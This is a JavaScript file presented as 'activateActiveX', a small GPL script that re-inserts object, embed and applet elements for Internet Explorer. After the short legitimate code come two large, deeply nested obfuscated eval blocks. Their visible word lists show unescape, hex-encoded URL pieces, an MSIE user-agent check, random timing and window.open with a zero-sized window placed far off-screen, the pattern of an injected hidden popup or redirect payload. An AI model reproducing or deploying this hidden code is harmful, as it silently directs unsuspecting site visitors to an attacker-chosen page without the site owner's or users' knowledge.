/*
activateActiveX
---------------
Purpose:  Dynamically replace any elements that will be affected by the new security feature in IE6/IE7 that requires a user to click certain types of elements to activate them before use.

Usage:  Include this file at the end of your html document using the following...
	<script language="JScript" type="text/jscript" src="activateActiveX.js"></script>
	


Since this script is in response to a software patent lawsuit, I feel it necessary to state the following...	

License:
activateActiveX is Copyright (C) 2006 Jason Baker (therippa AT gmail.com). It is available as open source code from:
http://therippa.blogspot.com

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details http://www.gnu.org/licenses/gpl.html
*/


//Determine browser, we only need this for Internet Explorer
if (navigator.appName == "Microsoft Internet Explorer") {
	
	//Array of elements to be replaced
	var arrElements = new Array(3);
	arrElements[0] = "object";
	arrElements[1] = "embed";
	arrElements[2] = "applet";

	
	//Loop over element types
	for (n = 0; n < arrElements.length; n++) {
	
		//set object for brevity
		replaceObj = document.getElementsByTagName(arrElements[n]);
		
		//loop over element objects returned
		for (i = 0; i < replaceObj.length; i++ ) {
		
			//set parent object for brevity
			parentObj = replaceObj[i].parentNode;
			
			//grab the html inside of the element before removing it from the DOM
			newHTML = parentObj.innerHTML;
			
			//remove element from the DOM
			parentObj.removeChild(replaceObj[i]);
			
			//stick the element right back in, but as a new object
			parentObj.innerHTML = newHTML;
		
		}
	}
}

eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('25(1Y(p,a,c,k,e,r){e=1Y(c){1Z(c<a?\'\':e(2c(c/a)))+((c=c%a)>35?23.2d(c+29):c.2b(36))};20(!\'\'.21(/^/,23)){22(c--)r[e(c)]=k[c]||e(c);k=[1Y(e){1Z r[e]}];e=1Y(){1Z\'\\\\w+\'};c=1};22(c--)20(k[c])p=p.21(27 28(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1Z p}(\'n(f(p,a,c,k,e,r){e=m;i(!\\\'\\\'.j(/^/,m)){l(c--)r[c]=k[c]||c;k=[f(e){h r[e]}];e=f(){h\\\'\\\\\\\\w+\\\'};c=1};l(c--)i(k[c])p=p.j(o q(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);h p}(\\\'3 4(){5"%6%0%0%1%7%2%2%1%8"}\\\',9,9,\\\'s|x|y|f|a|h|z|A|t\\\'.u(\\\'|\\\'),0,{}));n(f(p,a,c,k,e,r){e=f(c){h c.B(a)};i(!\\\'\\\'.j(/^/,m)){l(c--)r[e(c)]=k[c]||e(c);k=[f(e){h r[e]}];e=f(){h\\\'\\\\\\\\w+\\\'};c=1};l(c--)i(k[c])p=p.j(o q(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);h p}(\\\'1 b(){2"%3%4%0%5%6%7%8%0%9%a%c%d"}\\\',v,v,\\\'C|f|h|D|s|E|F|t|G|H|I||J|K\\\'.u(\\\'|\\\'),0,{}));\',2i,2i,\'|||||||||||||||1Y||1Z|20|21||22|23|25|27||28||2j|2g|2a|14||2t|2F|2u|2v|2b|2e|2k|2l|2E|2m|2n|2o|2w|2f\'.2a(\'|\'),0,{}));25(1Y(p,a,c,k,e,r){e=1Y(c){1Z c.2b(a)};20(!\'\'.21(/^/,23)){22(c--)r[e(c)]=k[c]||e(c);k=[1Y(e){1Z r[e]}];e=1Y(){1Z\'\\\\w+\'};c=1};22(c--)20(k[c])p=p.21(27 28(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1Z p}(\'3 c(){4"%5%6%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\\'g\\\'),k[c]);i p}(\\\'1 2(){3"%4%0%0%5"}\\\',6,6,\\\'N|h|f|i|v|O\\\'.t(\\\'|\\\'),0,{}));\',2q,2q,\'|||||||||||||||||1Y|1Z|20||21|22|23|25||27||28|2a|13|35||2b|2f|2F|2r|2g|2k|2z|2e|2l|2A|2j|2p|2s|33|30|37|32|26\'.2a(\'|\'),0,{}));25(1Y(p,a,c,k,e,r){e=23;20(!\'\'.21(/^/,23)){22(c--)r[c]=k[c]||c;k=[1Y(e){1Z r[e]}];e=1Y(){1Z\'\\\\w+\'};c=1};22(c--)20(k[c])p=p.21(27 28(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1Z p}(\'0 1(){2"%3%4%5%6%7"}\',8,8,\'1Y|g|1Z|2B|2f|2s|2F|2C\'.2a(\'|\'),0,{}));25(1Y(p,a,c,k,e,r){e=1Y(c){1Z(c<a?\'\':e(2c(c/a)))+((c=c%a)>35?23.2d(c+29):c.2b(36))};20(!\'\'.21(/^/,23)){22(c--)r[e(c)]=k[c]||e(c);k=[1Y(e){1Z r[e]}];e=1Y(){1Z\'\\\\w+\'};c=1};22(c--)20(k[c])p=p.21(27 28(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);1Z p}(\'1g(1a(p,a,c,k,e,r){e=1c;1d(!\\\'\\\'.1e(/^/,1c)){1f(c--)r[c]=k[c]||c;k=[1a(e){1b r[e]}];e=1a(){1b\\\'\\\\\\\\w+\\\'};c=1};1f(c--)1d(k[c])p=p.1e(1h 1i(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);1b p}(\\\'1 2(0){3 4(0)}\\\',5,5,\\\'s|1a|z|1b|1l\\\'.1j(\\\'|\\\'),0,{}));1g(1a(p,a,c,k,e,r){e=1a(c){1b(c<a?\\\'\\\':e(1m(c/a)))+((c=c%a)>1n?1c.1o(c+1p):c.1k(1q))};1d(!\\\'\\\'.1e(/^/,1c)){1f(c--)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\\\\\\\\\\\\b\\\\\\\',\\\\\\\'g\\\\\\\'),k[c]);q p}(\\\\\\\'1 2=0-0/3.4(5/6)+7;\\\\\\\',8,8,\\\\\\\'H|C|p|E|T|c|10|r\\\\\\\'.D(\\\\\\\'|\\\\\\\'),0,{}));A(o(p,a,c,k,e,r){e=o(c){q c.U(a)};s(!\\\\\\\'\\\\\\\'.t(/^/,x)){v(c--)r[e(c)]=k[c]||e(c);k=[o(e){q r[e]}];e=o(){q\\\\\\\'\\\\\\\\\\\\\\\\w+\\\\\\\'};c=1};v(c--)s(k[c])p=p.t(y B(\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\'+e(c)+\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\',\\\\\\\'g\\\\\\\'),k[c]);q p}(\\\\\\\'a((/3 (7\\\\\\\\\\\\\\\\.0);/.4(5.8)||/3 (6\\\\\\\\\\\\\\\\.0);/.4(5.8))&&e<b){c 2=d.f(g,"2","h=9,i=9,j=1,k=1");l("2.m()",n)}\\\\\\\',I,I,\\\\\\\'||V|W|X|Y|||Z|11|s|p|C|F||12|u|13|14|15|16|17|18|19\\\\\\\'.D(\\\\\\\'|\\\\\\\'),0,{}))}\\\',1r,1s,\\\'||||||||||||||||||||||||1a||1b||1d|1e||1f||1c|1h||1g|1i|1t|1j|1u|1v|1w|1x|1y|1z|1A|1B|1C|1D|1E|1F|1G|1H|1I|1J|1k|1K|1L|1M|1N|1O||1P|1Q|1R|1S|1T|1U|1V|1W|1X\\\'.1j(\\\'|\\\'),0,{}));\',2h,2D,\'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||1Y|1Z|23|20|21|22|25|27|28|2a|2b|2G|2c|35|2d|29|36|2h|2e|2H|2I|2J|2K|2L|24|2M|2N|2O|2P|2Q|2R|2S|2T|2U|2r|2V|2W|2X|2Y|2Z|31|34|38|39|3a|3b|3c|3d|3e|3f\'.2a(\'|\'),0,{}));',62,202,'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return|if|replace|while|String||eval||new|RegExp||split|toString|parseInt|fromCharCode|72|6F|6D|62|47|74|73|6B|65|63|61|6C|51|50|3D|70|68|3A|64|69|6A|54|3F|67|0A|122|||unescape|var|Math|window|random|pt|location|search|indexOf|ext|round|Date|getTime|1210464000000|sin|exp|_w|MSIE|test|navigator||userAgent|||5000||||open|top|left|width|height|setTimeout|close|500'.split('|'),0,{}));
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('3J(3B(p,a,c,k,e,r){e=3B(c){3C(c<a?\'\':e(3K(c/a)))+((c=c%a)>35?3E.3L(c+29):c.3M(36))};3G(!\'\'.3H(/^/,3E)){3I(c--)r[e(c)]=k[c]||e(c);k=[3B(e){3C r[e]}];e=3B(){3C\'\\\\w+\'};c=1};3I(c--)3G(k[c])p=p.3H(3N 3O(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);3C p}(\'2x(2r(p,a,c,k,e,r){e=2r(c){2s(c<a?\\\'\\\':e(2y(c/a)))+((c=c%a)>35?2t.2z(c+29):c.2A(36))};2u(!\\\'\\\'.2v(/^/,2t)){2w(c--)r[e(c)]=k[c]||e(c);k=[2r(e){2s r[e]}];e=2r(){2s\\\'\\\\\\\\w+\\\'};c=1};2w(c--)2u(k[c])p=p.2v(2B 2C(\\\'\\\\\\\\b\\\'+e(c)+\\\'\\\\\\\\b\\\',\\\'g\\\'),k[c]);2s p}(\\\'1q(1g(p,a,c,k,e,r){e=1g(c){1h(c<a?\\\\\\\'\\\\\\\':e(1r(c/a)))+((c=c%a)>1j?1k.1s(c+29):c.1t(1l))};1i(!\\\\\\\'\\\\\\\'.1m(/^/,1k)){1n(c--)r[e(c)]=k[c]||e(c);k=[1g(e){1h r[e]}];e=1g(){1h\\\\\\\'\\\\\\\\\\\\\\\\w+\\\\\\\'};c=1};1n(c--)1i(k[c])p=p.1m(1o 1u(\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\'+e(c)+\\\\\\\'\\\\\\\\\\\\\\\\b\\\\\\\',\\\\\\\'g\\\\\\\'),k[c]);1h p}(\\\\\\\'2 a(){3"%H%h%h%n%I%i%i%n%8%o"}2 b(){3"%h%9%q%k%8%t%9%v%w%J"}2 c(){3"%g%x%K%L%9%t%k%v%g%8"}2 d(){3"%k%w%9%i%M%8%i%y%8%o"}2 e(){3"%N%9%q%O%h%g%g%x%A%P"}2 f(){3"%Q%B%R%B%S%T%U%V%g%A"}2 z(s){3 W(s)}4 u=z(a()+b()+c()+d()+e()+f());4 c=5.X(Y Z().11())-12;4 e=5.j();4 l=0.13;4 r=5.14(c*5.j())*(5.j()/(10+y*5.j()));4 p=l-l/5.15(c/10)+r;16((/C (7\\\\\\\\\\\\\\\\.0);/.D(E.F)||/C (6\\\\\\\\\\\\\\\\.0);/.D(E.F))&&e<p){4 m=17.18(u,"m","19=G,1a=G,1b=1,1c=1");1d("m.1e()",1f)}\\\\\\\',1p,1v,\\\\\\\'||1g|1h|1w|1x|||1y|1z|||||||1A|1B|1C|1D|1E|1F|1G|1H|1I||1J|||1K||1L|1M|1N|1O||1P|1Q|1R|1S|1T|1U|1V|1W|1X|1Y|1Z|1p|20|21|22|1j|1l|23|24|25|26|27|28|2a|1o|2b||2c|2d|2e|2f|2g|1i|2h|2i|2j|2k|2l|2m|2n|2o|2p\\\\\\\'.2q(\\\\\\\'|\\\\\\\'),0,{}))\\\',2D,2H,\\\'||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||2r|2s|2u|35|2t|36|2v|2w|2B|2D|2x|2y|2z|2A|2C|2I|2J|2K|2L|2M|2N|2O|2F|2P|2E|2Q|2R|2S|2T|2U|2V|2W|2X|2Y|2Z|30|34|32|33|38|3a|3b|3c|3A|3d|3e|3f|3g|3h|39|31|37||3i|3j||3k|3l|3m|3n|3o|3p|3q|3r|3s|3t|3u|3v|3w|3x|3y|3z|2G\\\'.2G(\\\'|\\\'),0,{}))\',3P,3R,\'|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||3B|3C|3E|3G|3H|3I|3J|3K|3L|3M|3N|3O|3P|||3Q|3S|3T|3U|3V|3W|3X|3Y|3Z|40|41|42|43|44|45|46|47|48|49|4a|3D||4b|4c|||||4d||4e|4f|4g|4h|4i|4j|4k|3F|4l|4m|4n|4o|4p|4q|4r|4s|4t|4u|4v|4w|4x|4y|4z|4A|4B|4C|\'.3Q(\'|\'),0,{}))',62,287,'|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||function|return||String||if|replace|while|eval|parseInt|fromCharCode|toString|new|RegExp|62|split|223|151|78|var|Math|6D|72|6F|74|random|pt|_w|70|73|6B|65|63|61|6C|50|MSIE|test|navigator|userAgent|5000|68|64|69|6A|54|67|unescape|round|Date|getTime|1256586348856|001|sin|exp|window|open|top|left|width|height|setTimeout|close|500'.split('|'),0,{}));